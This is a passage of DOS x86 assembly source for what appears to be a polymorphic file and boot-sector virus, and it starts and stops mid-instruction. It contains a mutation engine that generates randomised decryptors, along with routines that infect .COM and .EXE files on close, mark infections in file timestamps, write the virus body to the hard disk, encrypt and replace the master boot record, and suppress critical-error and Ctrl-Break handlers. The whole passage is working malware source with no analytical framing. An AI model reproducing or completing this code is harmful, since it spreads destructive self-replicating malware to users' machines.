LOCLOOP_90 CALL SUB_38 JC LOC_94 MOV CX,DATA_77 JCXZ LOC_93 ; Jump if cx=0 SUB CX, 200h JC LOC_92 MOV DATA_77, CX MOV CX, 200h JMP LOCLOOP_90 LOC_92: ADD CX, 512 MOV DATA_77, 0 MOV DX, CX JMP LOCLOOP_90 LOC_93: CALL SUB_39 CALL SUB_31 CALL SUB_24 MOV DX, 1F6Ah MOV AH, 40h ADD CX, 11h NOP CALL Traced_i21h CLC LOC_94: POP BX POP SI RETN SUB_24: PUSH BX PUSH BP MOV SI, OFFSET Undoc MOV DI, OFFSET Drew1 XOR CX, CX CALL Make_Clear_Flags MOV BL, 04h CALL SUB_18 CALL SUB_34 CALL SUB_36 CALL Make_Uncon_JMP CALL SUB_25 CALL Make_Uncon_JMP CALL SUB_25 CALL Make_Uncon_JMP CALL SUB_25 CALL Make_Uncon_JMP MOV BL, 02h CALL SUB_18 CALL Make_Uncon_JMP CALL Get_Random_Poly CMP AH, 128 JB LOC_95 MOVSB JMP LOC_96 LOC_95: OR Flags, 00010000b SUB CL, 01h INC SI LOC_96: CALL Make_Uncon_JMP CALL SUB_28 MOV CH,CL MOV BL, 2 CALL SUB_18 CALL Make_Uncon_JMP MOVSW MOVSB CALL Make_Uncon_JMP CALL SUB_33 MOV BL,2 CALL SUB_18 CALL SUB_27 MOV BL,2 CALL SUB_18 CALL Make_Uncon_JMP CALL SUB_26 MOV BL,2 CALL SUB_18 CALL Make_Uncon_JMP MOV AL,CL SUB AL,CH MOV CH,AL LODSW ; String [si] to ax SUB AH, CH STOSW MOV BL, 02h CALL SUB_18 CALL Make_Uncon_JMP CALL SUB_30 CALL Get_Random_Poly AND AL, 00000111b ADD CL, AL MOV CH, 00h CMP Host_Type, CH JE LOC_97 ADD File_Mod512, CX CMP File_Mod512, 512 JB LOC_97 INC Byte_Pages ; Rounding. SUB File_Mod512, 512 JNZ LOC_97 DEC Byte_Pages LOC_97: POP BP POP BX RETN SUB_25: PUSH CX XOR CX, CX MOV AL, DATA_92 MOV CL, AL SHR AL, 2 ; DIV 4. MOV DATA_92, AL AND CL, 03h REP MOVSB POP CX RETN SUB_26: CALL Get_Random_Poly CMP BYTE PTR DATA_97,4 JAE LOC_98 XOR AL, AH JP LOC_98 ; Jump if parity=1 MOVSB RETN LOC_98: MOV BL, DATA_96 MOV BH, 00h CMP BYTE PTR DATA_97, 06h JAE LOC_100 CMP BYTE PTR DATA_97, 04h JAE LOC_99 TEST AL, 00000001b JNZ LOC_100 LOC_99: MOV DL, 01h MOV DH, Uncon_Jumps[BX] JMP LOC_101 LOC_100: MOV DL, 0FFh MOV DH, [BX+DATA_109] LOC_101: TEST AL, 00000010b JNZ LOC_102 MOV AL, 81h STOSB MOV AL, DH STOSB MOV AL, DL CBW STOSW INC SI ADD CL, 03h RETN LOC_102: MOV AL, 83h ; ADD STOSB MOV AL, DH STOSB MOV AL, DL STOSB INC SI ADD CL, 02h RETN DB 0C3H SUB_27: CALL Get_Random_Poly XOR AL, AH JNS LOC_103 ; Jump if not sign MOVSB RETN LOC_103: MOV BL, DATA_94 MOV BH, 00h CMP DATA_93, 80h NOP JA LOC_105 TEST AL, 00000001b JNZ LOC_104 MOV DL, 01h MOV DH, Uncon_Jumps[BX] JMP LOC_107 LOC_104: MOV DL, 0FFh MOV DH, DATA_109[BX] JMP LOC_107 LOC_105: TEST AL, 00000001b JNZ LOC_106 MOV DL, 01h MOV DH, DATA_109[BX] JMP LOC_107 LOC_106: MOV DL, 0FFh MOV DH, Uncon_Jumps[BX] LOC_107: TEST AL, 00000010b JNZ LOC_108 MOV AL, 81h STOSB MOV AL, DH STOSB MOV AL, DL CBW STOSW INC SI ADD CL, 03h RETN LOC_108: MOV AL, 83h ; ADD STOSB MOV AL, DH STOSB MOV AL, DL STOSB INC SI ADD CL, 02h RETN SUB_28: CMP DATA_93, 128 NOP JA LOC_RET_112 PUSH DX MOV DX, OFFSET Buffer MOV AL, DATA_93 AND AL, 07h CBW INC AX ADD DX,AX MOV BL,DATA_97 CMP BL, 06h JE LOC_109 TEST BL, 00000001b JNZ LOC_109 DEC DX LOC_109: MOV AH, AL XOR BX, BX MOV BL, DATA_94 MOV AL, 81h STOSB TEST AH, 00000001b JZ LOC_110 MOV AL, Uncon_Jumps[BX] ; Store JMP opcode. STOSB MOV AX, DX NEG AX STOSW JMP LOC_111 LOC_110: MOV AL, DATA_109[BX] STOSB MOV AX, DX STOSW LOC_111: ADD CL,4 POP DX LOC_RET_112: RETN Make_Uncon_JMP: CALL Get_Random_Poly TEST AL, 00100000b ; 1/8 chance. JZ LOC_RET_116 TEST AL, 00001000b ; 1/8 chance. JZ LOC_113 AND AH, 03h ; 0 - 3. ADD AH, 01h ; Prevent zero JMP. MOV AL, 0EBh ; JMP SHORT opcode. STOSW ; Store JMP SHORT. ADD CL, 02h MOV AL, AH JMP LOC_114 LOC_113: AND AH, 03h ; 0 - 3. ADD AH, 01h ; 1 - 4. MOV AL, 0E9h ; Store JMP opcode. STOSB MOV AL, AH ; Store dataword. CBW STOSW ADD CL, 3 LOC_114: MOV BL, AL LOC_115: CALL Get_Random_Poly MOV AH, AL CMP AH, 2Eh ; CS: override? JE LOC_115 ; Then get another value. AND AH, 0F8h CMP AH, 0B0h ; MOV AL ? JE LOC_115 ; Then get another value. STOSB ADD CL, 01h SUB BL, 01h ; JMP-Hole filled with JNZ LOC_115 ; garbage? LOC_RET_116: RETN SUB_30: TEST Flags, 00010000b JNZ LOC_119 CALL Get_Random_Poly TEST AL, 00000100b JNZ LOC_118 MOVSB RETN LOC_118: AND AH,7 CMP AH, 04h JE SUB_30 MOV AL, AH OR AL, 58h STOSB MOV AL, 0FFh OR AH, 0E0h STOSW ADD CL, 02h RETN LOC_119: XOR Flags, 10h MOV AL, 0E9h ; JMP opcode. STOSB ADD CL, 2 MOV AL, CL CBW ADD AX, 1E7Bh NEG AX STOSW RETN SUB_31: PUSH BX MOV SI, 0E70h CALL Get_Random_Poly JNP LOC_120 ; Jump if not parity MOV DI, OFFSET Used_Mov_Ptr MOV AX, [DI] PUSH [DI+2] PUSH SI MOVSW MOVSB POP SI MOV [SI], AX POP AX MOV [SI+2], AL LOC_120: MOV DI, OFFSET Undoc CALL Get_Random_Poly CMP AL, 55h JB LOC_121 CMP AL, 0AAh JB LOC_122 MOV AX, [SI+3] STOSW MOVSW MOVSB INC SI INC SI MOVSW MOVSB MOV BYTE PTR DATA_92, 3Eh JMP LOC_123 LOC_121: MOVSW MOVSB MOV AX,[SI] INC SI INC SI MOVSW MOVSB STOSW MOV BYTE PTR DATA_92, 2Fh JMP LOC_123 LOC_122: MOVSW MOVSW MOVSW MOVSW MOV BYTE PTR DATA_92, 3Bh LOC_123: MOV CX, 09h REP MOVSB POP BX RETN Make_Clear_Flags: CALL Get_Random_Poly ; Get random number in AX. CMP AL, 128 ; 50% chance. JB LOC_RET_127 TEST AH, 00001000b JNZ LOC_125 MOV AL, 0FAh ; CLI Store1: STOSB ADD CL, 01h RETN LOC_125: PUSH BX MOV BX, OFFSET PushPop_Pairs LOC_126: ADD AL, 20 ; Must be 20 or above. JNC LOC_126 ; Overflow? CBW AND AL, 0FEh ; Number must be even. ADD BX, AX MOV AH, [BX] ; Get PUSH reg. POP BX MOV AL, 9Dh ; POPF CMP Host_Type, 01h ; Host is .EXE ? JE Store1 STOSW ADD CL, 02h LOC_RET_127: RETN LOC_128: XOR Flags, 8 RETN SUB_33: TEST Flags, 00001000b JNZ LOC_128 PUSH BX LOC_129: CALL Get_Random_Poly TEST AH, 00000001b JZ LOC_131 AND AX, 07h MOV BX, AX CMP BL, 04h JNE LOC_130 CMP BYTE PTR DATA_81, 0B0h JE LOC_129 CMP BYTE PTR DATA_96, 00h JE LOC_129 LOC_130: MOV AL, DATA_100[BX] STOSB INC CL POP BX RETN LOC_131: CMP BYTE PTR DATA_96, 0 JE LOC_129 CMP BYTE PTR DATA_95, 0 JE LOC_129 LOC_132: CALL Get_Random_Poly AND AX,7 CMP AL,5 JA LOC_132 SHL AL, 1 ; MUL 2. MOV BX, AX MOV AX, DATA_101[BX] STOSW CMP BL,6 JA LOC_133 CALL Get_Random_Poly AND AL, 0Fh STOSB ADD CL, 1 CMP BL, 6 JNE LOC_133 MOV AL, AH STOSB ADD CL, 1 LOC_133: ADD CL, 2 POP BX RETN SUB_34: CALL Get_Random_Poly CMP AX, 5555h JB LOC_RET_136 OR Flags, 00001000b CALL Make_Dummy_Int CALL Get_Random_Poly XCHG BX, AX AND BX, 02h MOV AX, DATA_98[BX] STOSW MOV DX, Host_Entrypoint ADD DX, OFFSET Buffer ADD DX, CX ADD CL, 02h TEST AL, 00001000b JNZ LOC_134 MOV AL, 81h ; Arithmic STOSB ADD CL, 7 CALL SUB_35 MOV AL, 0FAh STOSB XCHG DX, AX STOSW RETN LOC_134: MOV AL, 80h STOSB ADD CL,6 CALL SUB_35 CMP AH, 80h JA LOC_135 MOV AL, 0FBh STOSB MOV AL, DH STOSB RETN LOC_135: MOV AL, 0FAh STOSB XCHG DX, AX STOSB LOC_RET_136: RETN SUB_35: LOC_137: CALL Get_Random_Poly MOV BL, AL AND BX, 07h CMP BL, 04h JA LOC_137 MOV AL, DATA_99[BX] STOSB CMP BL, 03h JE LOC_139 CMP BL, 04h JNE LOC_RET_140 TEST BYTE PTR [DI-2], 00000001b JNZ LOC_138 NEG DH NEG DL RETN LOC_138: NEG DX RETN LOC_139: NOT DX LOC_RET_140: RETN SUB_36: TEST Flags, 00001000b JZ LOC_RET_141 CALL Get_Random_Poly AND AH, 7Fh ADD AH, 0Ah MOV AL, 75h STOSW LOC_RET_141: RETN Make_Dummy_Int: ADD CL, 02h MOV BL, 2Ah CALL Get_Random_Poly LOC_142: ADD AL, BL JNC LOC_142 AND AX, 0000000011111110b XCHG BX, AX MOV AX, OFFSET Int_Table[BX] STOSW RETN SUB_38: PUSH AX CMP DATA_77,0 MOV CX,200H JNZ LOC_143 MOV CX,DX LOC_143: MOV DX, OFFSET Undoc MOV DI, DX MOV AH, 40h CALL Traced_i21h POP AX RETN DATA_77 DW 0E6Ah Host_Entrypoint DW 0 DATA_79 DB 0BFh DATA_80 DW 9 DATA_81 DB 0B6h DATA_82 DB 78h Used_Mov_Ptr DB 0BBh DATA_84 DW 0 Used_Push_Ptr DB 57h Shit9 DB 2Eh Shit2 DB 0 Shit1 DB 35h Used_Ptr DB 4Fh Shit8 DB 4Bh Shit6 DB 77h DB 0F9h, 0C3h SUB_39: PUSH BX CALL Get_Ran_3 MOV AH, Mov_Ptr[BX] MOV Used_Mov_Ptr, AH MOV AH, Push_Ptr[BX] MOV Used_Push_Ptr, AH CALL Get_Random_Poly MOV DATA_93, AH CMP AH, 128 ; 50% chance. JA LOC_145 MOV AH, Dec_Ptr[BX] JMP LOC_146 LOC_145: MOV AH, Inc_Ptr[BX] LOC_146: MOV Used_Ptr, AH MOV DL, BL ADD BL, 3 CMP BL, 3 JNE LOC_147 SUB BL, 2 LOC_147: MOV DATA_94,BL LOC_148: CALL Get_Random_Poly NOT AX AND AL, 07h MOV BL, AL SHR AL, 01h CMP DATA_94, AL JE LOC_148 MOV DATA_95, AL MOV AH, DATA_110[BX] MOV DATA_81, AH SHL DL, 03h ADD BL, DL MOV AH, DATA_111[BX] MOV Shit1, AH LOC_149: CALL Get_Random_Poly NOT AX MOV BL, AL AND BL, 07h CMP BL, 6 JA LOC_149 CMP DATA_94, BL JE LOC_149 CMP DATA_95, BL JE LOC_149 MOV DATA_96, BL MOV AH, [BX+MOV_Reg] MOV DATA_79, AH MOV AH, OFFSET [BX+DEC_Reg] MOV Shit8, AH CALL Get_Random_Poly AND AL, 00000111b ; 0 - 7. CBW MOV BX, AX MOV AH, [Cond_Jumps+BX] MOV Shit6, AH MOV DATA_97, BL CALL Get_Random_Poly NOT AX XOR BX, BX MOV BL, AL AND BL, 00000011b ; 0 - 3. MOV AL, Host_Type OR AL, AL ; .COM-file? JZ LOC_150 MOV BL, AL LOC_150: MOV AH, Overrides[BX] MOV Shit9, AH MOV AL, DATA_93 AND AL, 00000111b ; 0 - 7. CBW INC AX ; 1 - 8. ADD AX, OFFSET Buffer MOV DATA_80, AX POP BX RETN DATA_92 DB 0 DATA_93 DB 38H DATA_94 DB 5DH DATA_95 DB 3 DATA_96 DB 1 DATA_97 DB 4 DATA_98 DW 0EC8BH DB 54H, 5DH DATA_99 DB 7EH, 76H, 6EH, 66H, 46h ;; DATA_100 DB 64h, 65h, 67h, 9Bh, 0D6h, 9Bh, 64h, 65h DATA_101 DW 0F0C0H DB 0C1H,0F0H,0F6H,0C8H,0F7H,0C8H DB 0D0H,0F0H,0D1H,0F0H ; MOV BX DI SI Mov_Ptr DB 0BBh, 0BFh, 0BEh ; ---> PUSH BX DI SI Push_Ptr DB 053h, 057h, 056h ; ---> INC BX DI SI Inc_Ptr DB 043h, 047h, 046h ; ---> DEC BX DI SI Dec_Ptr DB 4Bh, 4Fh, 4Eh ; ---> MOV AX, BX, CX, DX, DI, SI, BP. MOV_Reg DB 0B8h, 0BBh, 0B9h, 0BAh, 0BFh, 0BEh, 0BDh DEC_Reg: DEC AX DEC BX DEC CX DEC DX DEC DI DEC SI DEC BP ; ---> JMP Uncon_Jumps DB 0E8h, 0EBh, 0E9h, 0EAh, 0EFh, 0EEh, 0EDh ; JMPs. DATA_109 DB 0C0H, 0C3H,0C1H,0C2H,0C7H,0C6H,0C5H ; ---> MOV AL AH BL BH CL CH DL DH DATA_110 DB 0B0h, 0B4h, 0B3h, 0B7h, 0B1h, 0B5h, 0B2h, 0B6h DATA_111 DB 7 DB 27H, 00H, 00H, 0FH, 2FH, 17H DB 37H, 05H, 25H, 1DH, 3DH, 0DH DB 2DH, 15H, 35H, 04H, 24H, 1CH DB 3CH, 0CH, 2CH, 14H, 34H ; JNZ JNS JG JGE JA JNB JB JBE Cond_Jumps DB 75h, 79h, 7Fh, 7Dh, 77h, 73h, 72h, 76h ; DS: CS: ES: SS: Overrides DB 3Eh, 2Eh, 26h, 36h ; Segment overrides. Encr_Methods DB 30h, 00h, 28h, 30h ; encr. DATA_115 DB 0C0h, 0C4h, 0C3h, 0C7h, 0C1h, 0C5h, 0C2h, 0C6h DATA_116 DB 0E8h, 0ECh, 0EBh, 0EFh, 0E9h, 0EDh, 0EAh, 0EEh DATA_117 DB 75h, 78h, 7Ch, 7Eh DATA_118 DW 1F16h, 1F50h, 0D88Eh, 0716h DB 50H, 07H, 8EH, 0C0h DATA_119 DB 0C0h, 0C9H, 0D2H, 0DBh Int24h DW 4CBh, 512h DATA_122 DW 6EEh DATA_123 DW 70h ; Dummy critical-error handler. NewInt24h: MOV AL, 03h Do_IRET: IRET Clean_File: PUSH AX PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH DI PUSH SI CALL Set_Dummy_Handlers CALL Save_FileAttr MOV AX, 3D02h ; Open file r/w. CALL Traced_i21h JC LOC_155 PUSH AX CALL Check_FileName ADD BX, 04h MOV CX, BX POP BX CMP CX, 0Eh JE LOC_154 PUSH CS POP DS CLD MOV DI, OFFSET FileName1 MOV SI, OFFSET FileName2 REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] JCXZ LOC_151 ; Jump if cx=0 JMP LOC_154 LOC_151: MOV CX, 28 ; Read header. MOV DX, OFFSET Buffer MOV AH, 3Fh CALL Traced_i21h JC LOC_154 CALL Save_FileTime MOV AX, Trace_Int AND AL, 00011111b ; Clear all but seconds. CMP AL, 00010001b ; Infected stamp? JNE LOC_153 MOV AX, Marker CMP AX, 'ZM' ; True .EXE? JE Do_Clean_EXE CMP AX, 'MZ' JNE LOC_153 Do_Clean_EXE: CALL SUB_41 JC LOC_154 LOC_153: CALL Restore_FileTime LOC_154: MOV AH, 3Eh ; Close file. CALL Traced_i21h LOC_155: CALL Restore_FileAttr CALL Restore_Dummy_Handlers POP SI POP DI POP DS POP ES POP DX POP CX POP BX POP AX RETN SUB_41: MOV AX, Init_CS ; Size CS in bytes. MOV DX, 16 MUL DX ADD AX, Init_IP ; Plus IP. ADC DX, 0 MOV CX, Header_Size ; Calculate headersize. SHL CX, 04h ; MUL 16. ADD AX, CX ; Plus headersize. ADC DX, 0 MOV CX, DX ; Go to entrypoint of host. MOV DX, AX MOV AX, 4200h CALL Traced_i21h JNC No_Err_2 RETN No_Err_2: SUB AX, Virus_Size SBB DX, 0 PUSH AX PUSH DX MOV AH, 3Fh MOV CX, 128 MOV DX, OFFSET Ruck CALL Traced_i21h JNC LOC_157 CMP AX, 36 JA LOC_157 ADD SP, 04h STC RETN LOC_157: PUSH BX MOV DI, AX ADD DI, DX MOV CX, 50 STD MOV AL, '.' REPNE SCASB OR CX, CX JNZ LOC_158 POP BX ADD SP, 04h STC RETN LOC_158: MOV AH, [DI+2] XOR BX, BX LOC_159: CMP Encr_Methods[BX], AH JE LOC_161 INC BX CMP BX, 04h JA LOC_160 JMP LOC_159 LOC_160: POP BX ADD SP, 04h STC RETN LOC_161: MOV AL,[DI+3] XOR BX, BX LOC_162: CMP AL, DATA_111[BX] JE LOC_164 INC BX CMP BX, 19h JA LOC_163 JMP LOC_162 LOC_163: POP BX ADD SP, 04h STC RETN LOC_164: AND BL, 07h MOV AL, DATA_110[BX] MOV CX, 50 REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al OR CX, CX JNZ LOC_165 POP BX ADD SP, 04h STC RETN LOC_165: MOV AL, [DI+2] CLD POP BX POP CX POP DX PUSH DX PUSH CX PUSH AX MOV AX, 4200h ADD DX, OFFSET Old_Entry ADC CX, 0 CALL Traced_i21h MOV CX, 15 MOV DX, OFFSET Ruck MOV AH, 3Fh ; Read CALL Traced_i21h POP AX MOV byte ptr Crp_1, AH JMP $+2 ; delay for I/O MOV DI, DX MOV CX, 15 LOCLOOP_166: Crp_1: ADD [DI],AL NOT BYTE PTR [DI] INC DI LOOP LOCLOOP_166 MOV DI,DX MOV AX,[DI] MOV Init_IP, AX MOV AX, [DI+2] MOV Init_CS, AX MOV AX, [DI+4] MOV Init_SP, AX MOV AX, [DI+6] MOV Init_SS, AX MOV AX, [DI+8] MOV File_Mod512, AX MOV AX, [DI+0AH] MOV Byte_Pages, AX MOV AX, [DI+0CH] MOV Trace_Int, AX MOV AL, [DI+0EH] CMP AL, 01h JE LOC_167 ADD SP,4 STC RETN LOC_167: POP CX POP DX PUSH DX PUSH CX AND DX, 1FFh CMP File_Mod512, DX JE LOC_168 ADD SP, 04h STC RETN LOC_168: XOR CX, CX ; Go to start of file. MOV DX, CX MOV AX, 4200h CALL Traced_i21h MOV DX, OFFSET Buffer ; Read header. MOV CX, 28 MOV AH, 40h CALL Traced_i21h POP CX ; Go to start of file. POP DX MOV AX, 4200h CALL Traced_i21h MOV AH, 40h ; Write marker. XOR CX, CX CALL Traced_i21h RETN Set_Dummy_Handlers: PUSH ES XOR AX, AX MOV ES, AX MOV AX, ES:[24h * 4] ; Save INT 24h. MOV CS:Int24h, AX ; (Critical error-handler). MOV AX, ES:[24h * 4 + 2] MOV CS:Int24h+2, AX MOV AX, ES:[1Bh * 4] ; Save INT 1Bh. MOV CS:DATA_122, AX ; (Ctrl-Break handler). MOV AX, ES:[1Bh * 4 + 2] MOV CS:DATA_123, AX MOV ES:[24h * 4 + 2], CS ; Dummy error-handler. MOV ES:[24h * 4], OFFSET NewInt24h MOV ES:[1Bh * 4 + 2], CS ; Dummy Ctrl-Break handler. MOV ES:[1Bh * 4], OFFSET Do_IRET POP ES RETN Restore_Dummy_Handlers: PUSH DS PUSH ES PUSH SI XOR AX, AX CLD PUSH CS POP DS MOV ES, AX MOV SI, OFFSET Int24h ; Restore original INT 24h. MOV DI, 24h * 4 MOVSW MOVSW MOV DI, 1Bh * 4 ; Restore original INT 1Bh. MOVSW MOVSW POP SI POP ES POP DS RETN Make_Random_Stack: CALL Get_Random_Poly AND AX, 00000011b ; Mask between 0 - 3. JZ Make_Random_Stack ADD AX, Init_CS ; Variable stacksegment. MOV Init_SS, AX CALL Get_Random_Poly AND AX, 00000111b ; 0 - 7. ADD AX, (Virus_Size + 272) AND AL, 11111110b MOV Init_SP, AX RETN Infect_Close: PUSH BX PUSH CX PUSH DX PUSH ES PUSH DS PUSH DI PUSH SI PUSHF PUSH AX CALL Set_Dummy_Handlers TEST CS:Flags, 00000001b JNZ LOC_172 CALL Save_FileTime MOV AX, CS:Trace_Int AND AL, 00011111b ; Mask seconds. CMP AL, 00010001b ; Infected stamp? JE LOC_172 CALL Get_FileName JC LOC_172 XOR CX, CX ; Go to begin file. MOV DX, CX MOV AX, 4200h CALL Traced_i21h JC LOC_172 MOV AH, 3Fh ; Read header. MOV CX, 28 PUSH CS POP DS PUSH DS POP ES MOV DX, OFFSET Buffer CALL Traced_i21h JC LOC_172 CMP AX, CX ; Bytes read not equal? JNE LOC_172 MOV SI, DX CLD LODSW ; String [si] to ax CMP AX, 'ZM' ; True .EXE-file? JE LOC_170 CMP AX, 'MZ' ; True .EXE-file? JE LOC_170 CALL Infect_COM JC LOC_172 JMP LOC_171 LOC_170: CALL Infect_EXE JC LOC_172 LOC_171: MOV AX, Trace_Int AND AL, 0E0h OR AL, 11h MOV Trace_Int, AX CALL Restore_FileTime LOC_172: POP AX POPF MOV AH, 3Eh ; Close file. CALL Traced_i21h PUSH AX PUSHF CALL Restore_Dummy_Handlers POPF POP AX POP SI POP DI POP DS POP ES POP DX POP CX POP BX RETN Get_FileName: PUSH BX MOV AX, 1220h ; Get DCB-number. INT 2Fh JNC LOC_174 Error_DCB: STC JMP LOC_183 NOP LOC_174: CMP BYTE PTR ES:[DI], 0FFh ; Filehandle not open? JE Error_DCB XOR BX, BX MOV BL, ES:[DI] MOV AX, 1216h ; Get DCB-address. INT 2Fh JC LOC_183 PUSH ES POP DS PUSH CS POP ES ;* AND [DI+2],0FFF8H DB 83H, 65H, 02H,0F8H ; Fixup - byte match OR WORD PTR [DI+2], 02h ; Set file open-mode to r/w. ADD DI, 20h MOV SI, DI CLD PUSH SI MOV DI, OFFSET FileName2 XOR BX, BX MOV CX, 08h LOCLOOP_175: LODSB ; String [si] to al CMP AL, ' ' JE LOC_176 STOSB INC BX LOOP LOCLOOP_175 LOC_176: MOV AL, '.' STOSB INC BX POP SI ADD SI, 08h MOV CX, 03h LOCLOOP_177: LODSB ; String [si] to al CMP AL, ' ' JE LOC_178 STOSB INC BX INC BH LOOP LOCLOOP_177 LOC_178: CMP BH, 03h JE LOC_180 LOC_179: STC JMP LOC_183 LOC_180: SUB SI,3 LODSW ; String [si] to ax CMP AX, 'XE' ; .EXE-file? JE LOC_181 CMP AX, 'OC' ; .COM-file? JNE LOC_179 LOC_181: LODSB ; String [si] to al CMP AX, 'XE' ; .EXE-file? JE LOC_182 CMP AX, 'OM' ; .COM-file? JNE LOC_179 LOC_182: MOV BH, 00h CALL SUB_14 LOC_183: POP BX RETN Check_Infect: TEST Flags, 00000100b JZ No_JMP_Start CMP Host_Type, 00h ; Host is .COM-file? JE Handle_COM1 MOV AX, [SI+0Eh] ; SS. SUB AX, [SI+16h] ; Minus CS. JZ No_JMP_Start SUB AX, 03h JA No_JMP_Start MOV AX, [SI+14h] ; AX = IP. CMP AX, OFFSET Buffer JB No_JMP_Start CMP AX, 1EC4h JA No_JMP_Start STC RETN Handle_COM1: CMP BYTE PTR [SI], 0E9h ; Starts with a JMP ? JNE No_JMP_Start STC RETN No_JMP_Start: CLC RETN Infect_Harddisk: MOV AX, 5445h ; Residency-check. INT 13h CMP AX, 4554h ; Are we already resident? JE JMP_Exit_HD_Infect ; (harddisk already infected) PUSH CS POP ES XOR AX, AX MOV DS, AX MOV SI, 13h * 4 ; Save INT 13h. MOV DI, OFFSET Traced_Int13h CLD MOVSW MOVSW PUSH CS POP DS MOV DX, 80h ; Read MBR of 1st harddisk. MOV CX, 01h MOV AX, 0201h MOV BX, OFFSET Buffer CALL Traced_i13h JNC No_Err_1 JMP_Exit_HD_Infect: JMP LOC_RET_189 NOP No_Err_1: MOV AX, Drew2 SUB AX, Drew1 CMP AX, 0CCFFh ; Already infected? JE JMP_Exit_HD_Infect MOV AH, 08h ; Get disk drive parameters. MOV DL, 80h CALL Traced_i13h MOV AX, 0310h ; Store virusbody on HD. XOR BX, BX INC CH MOV DATA_150, CX DEC DH SUB CL, 16 ; - Virus_Size MOV DL, 80h CALL Traced_i13h JC JMP_Exit_HD_Infect ADD CL, 16 ; Store original MBR. MOV BX, OFFSET Buffer MOV AX, 0301h CALL Encrypt_Boot CALL Traced_i13h JC JMP_Exit_HD_Infect CLD MOV BL, 01h CALL SUB_49 MOV DX, 80h MOV CX, 01h MOV AX, 0301h MOV BX, OFFSET Buffer TEST Flags, 10000000b ; Win95/NT active? JZ LOC_188 PUSH AX ; PARAMETER_4 PUSH BX ; PARAMETER_3 PUSH CX ; PARAMETER_2 PUSH DX ; PARAMETER_1 CALL Infect_Exec2 JNC LOC_RET_189 ; Jump if carry=0 LOC_188: CALL Infect_Exec3 LOC_RET_189: RETN CLI XOR AX, AX MOV SS, AX ; Setup stack. MOV SP, 7C00h MOV DS, AX Init_Boot_Key: MOV CH, 0 ORG $-1 Boot_Key DB 0B8h Boot_Ptr: MOV SI, 0 ORG $-2 Start_Encr DW 7C16h Screw1: LOC_190: SUB [SI], CH Change_Ptr: INC SI Change_Key: INC CH Boot_Loop: JL LOC_190 ; Jump if < Encr_Boot: STI INT 12h SUB AX, 9 ; Reserve our memory. MOV CL, 6 ; Convert to segment-address. SHL AX, CL MOV ES, AX MOV AH, 08h ; Get disk drive parameters. MOV DL, 80h INT 13h INC CH DEC DH SUB CL, 10h MOV DL, 80h MOV AX, 0211h ; Read virusbody from disk. XOR BX, BX INT 13h PUSH ES MOV AX, OFFSET Reloc_Boot PUSH AX RETF Traced_Int13h DW 0, 0 Reloc_Boot: PUSH DS ; ES = 0. POP ES PUSH CS POP DS MOV DI, 7C00h PUSH ES PUSH DI MOV SI, 2000h CLD MOV CX, 512 REP MOVSB CALL Botty STI RETF SUB_49: MOV Poly_Sector, 00h PUSH BX CLD CALL Get_Ran_3 MOV AH, Mov_Ptr[BX] MOV BYTE PTR Boot_Ptr, AH MOV AH, Inc_Ptr[BX] MOV BYTE PTR Change_Ptr, AH MOV DL, BL ADD BL, 03h CMP BL, 03h JNE LOC_191 SUB BL,2 LOC_191: MOV DATA_94,BL LOC_192: CALL Get_Random_Poly NOT AX AND AL, 07h MOV BL, AL SHR AL, 01h CMP DATA_94, AL JE LOC_192 MOV DATA_95, BL MOV AH, DATA_110[BX] MOV BYTE PTR Init_Boot_Key, AH MOV AH, DATA_115[BX] MOV BYTE PTR Change_Key+1, AH SHL DL, 03h ADD BL, DL MOV AH, DATA_111[BX] MOV byte ptr Screw1+1, AH CALL Get_Random_Poly MOV BL, AH AND BX, 03h MOV AH, DATA_117[BX] MOV BYTE PTR Boot_Loop, AH CALL Get_Ran_3 MOV AL, Encr_Methods[BX] MOV AH, 0E0h MOV WORD PTR Bozo, AX XOR BL, 03h MOV AL, Encr_Methods[BX] MOV byte ptr Screw1, AL LOC_193: CALL Get_Random_Poly OR AH, 10000000b CMP AH, 0D8h JAE LOC_193 POP BX PUSH BX PUSH AX MOV BH, 00h MOV Boot_Key, AH MOV SI, 1409h MOV DI, OFFSET Buffer MOV Start_Encr, 7C16h CMP BL, 02h JNE LOC_194 MOV DI,1EA8h MOV Start_Encr, 7C54h LOC_194: CALL Get_Random_Poly AND AX, 03h XCHG BX, AX MOV AL, DATA_119[BX] MOV [SI+2], AL MOV AL, 0D0h ADD AL, BL MOV [SI+4], AL MOVSW MOVSW MOVSW MOVSW MOV DH, BL XOR CX, CX CALL SUB_50 CALL Get_Random_Poly OR AX, AX JP LOC_195 ; Jump if parity=1 MOV AX,[SI] ADD SI, 02h OR Flags, 00001000b MOVSW MOVSB STOSW JMP LOC_196 LOC_195: MOVSW MOVSW MOVSB LOC_196: CALL SUB_51 MOVSW ; Mov [si] to es:[di] MOV DATA_93, 0FFh CALL SUB_27 CALL SUB_52 LODSW ; String [si] to ax SUB AH, CL STOSW SUB CL, CH MOV AL, CH TEST Flags, 00001000b JZ LOC_197 ADD AL, 02h LOC_197: AND Flags, 0F7h CBW ; Convrt byte to word MOV SI, 1E77h SUB SI, AX MOV AX, CX POP CX POP BX PUSH CX CMP BL, 02h JNE LOC_198 ADD SI, 3Eh LOC_198: CBW ; Convrt byte to word ADD [SI],AX POP AX MOV CX,1FH MOV SI,1DEFH CMP BL, 02h JE LOCLOOP_199 CMP BL, 01h JNE LOC_RET_200 MOV CX, 28h MOV SI, 141Fh LOCLOOP_199: LODSB ; String [si] to al Bozo: ;* ADD AL,AH DB 00H,0E0H ; Fixup - byte match INC AH STOSB ; Store al to es:[di] LOOP LOCLOOP_199 CALL Get_Random_Poly NOT AX MOV Drew1, AX ADD AX, 0CCFFh MOV Drew2, AX LOC_RET_200: RETN SUB_50: ADD SI, 02h CALL Get_Random_Poly NOT AX AND AL, 03h MOV BL, AL MOV DL, [BX+Overrides] CMP AL, 01h JE LOC_203 CMP AL, 03h JE LOC_203 SHR BL, 01h MOV AL, 06h MUL BL ; ax = reg * al MOV BX, AX LOC_201: CALL Get_Random_Poly AND AH, 03h ; 0 - 3. CMP AH, 03h ; 0, 1, 2 JE LOC_201 SHL AH, 1 ; MUL 2. ADD BL, AH MOV AX, DATA_118[BX] CMP AL, 16h JE LOC_203 CMP AL, 50h JNE LOC_202 ADD AL, DH STOSW RETN LOC_202: ADD AH, DH STOSW RETN LOC_203: MOV CH, 02h RETN SUB_51: CMP DL, 3Eh JE LOC_RET_204 MOV AL, DL STOSB ADD CL, 01h LOC_RET_204: RETN SUB_52: CALL 